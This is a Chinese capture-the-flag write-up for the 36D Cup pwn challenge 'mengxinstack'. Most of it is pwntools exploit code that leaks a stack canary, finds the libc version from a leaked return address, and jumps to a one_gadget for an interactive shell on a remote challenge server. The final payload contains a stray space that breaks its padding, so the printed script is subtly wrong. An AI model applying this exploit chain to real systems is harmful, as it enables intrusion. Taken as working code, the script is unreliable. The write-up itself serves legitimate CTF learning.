36D杯CTF——mengxinstack

记录一下36D的mengxinstack题目
下载题目,checksec下分析,开启了很多保护,有canary,64位,IDA分析,知道这个程序先执行了一次read,再把read进去的东西print出来,再read,两次read都会造成栈溢出
36D杯CTF——mengxinstack_第1张图片
观察到程序在运行时候(上图)的栈中有__libc_start_main+235的地址,这个地址其实是__libc_start_main的返回地址即__libc_start_main_ret,在查询libc版本的网站里可以找到对应的libc版本

from pwn import *
io = remote("124.156.121.112",28011)
io.recv()
io.send('a'*0x48)
io.recv()

这时候可以接收到__libc_start_main_ret的地址,再去那个网站查询即可,知道了是libc6_2.23-0ubuntu10_amd64,这个版本的__libc_start_main与其ret相距240个字节

然后第一次read泄露出canary,这里可以覆盖掉canary的最后一个字节(canary的最后一字节总是'\x00',目的是为了截断print等函数对字符串的输出),然后得到了print输出了canary,接下来需要使得程序重新执行main,怎么做呢?可以参考TaQini师傅的博客,现在知道了libc版本,又知道了canary,就可以直接one_gadget了

from pwn import *
from LibcSearcher import *
io = remote('124.156.121.112',28011)
#io=process('./pwn4')
elf = ELF('./mengxinstack')
context.log_level = 'debug'

payload = 'A'*0x29
io.send(payload)
io.recvuntil('A'*0x28)
canary = u64(io.recv(8))-0x41
payload = 'a'*0x28 + p64(canary) + 'a'*0x18 + '\x04'
#gdb.attach(io)
io.send(payload)

payload = 'a'*0x28 + 'a'*0x8 + 'a'*0x18
io.send(payload)
io.recvuntil('a'*0x48)
libc_start_main = u64(io.recv(6).ljust(8,'\x00'))-240
libc = LibcSearcher('__libc_start_main',libc_start_main ) 
libc_base = libc_start_main - libc.dump('__libc_start_main')
#0x45216 one_gadget libc6_2.23-0ubuntu10_amd64.so
one_gedget = libc_base+0x45216
payload = 'a'*0x28 + p64(canary) + ' a'*0x18 + p64(one_gedget)
io.send(payload)
#gdb.attach(io)
io.interactive()

你可能感兴趣的:(pwn,ctf)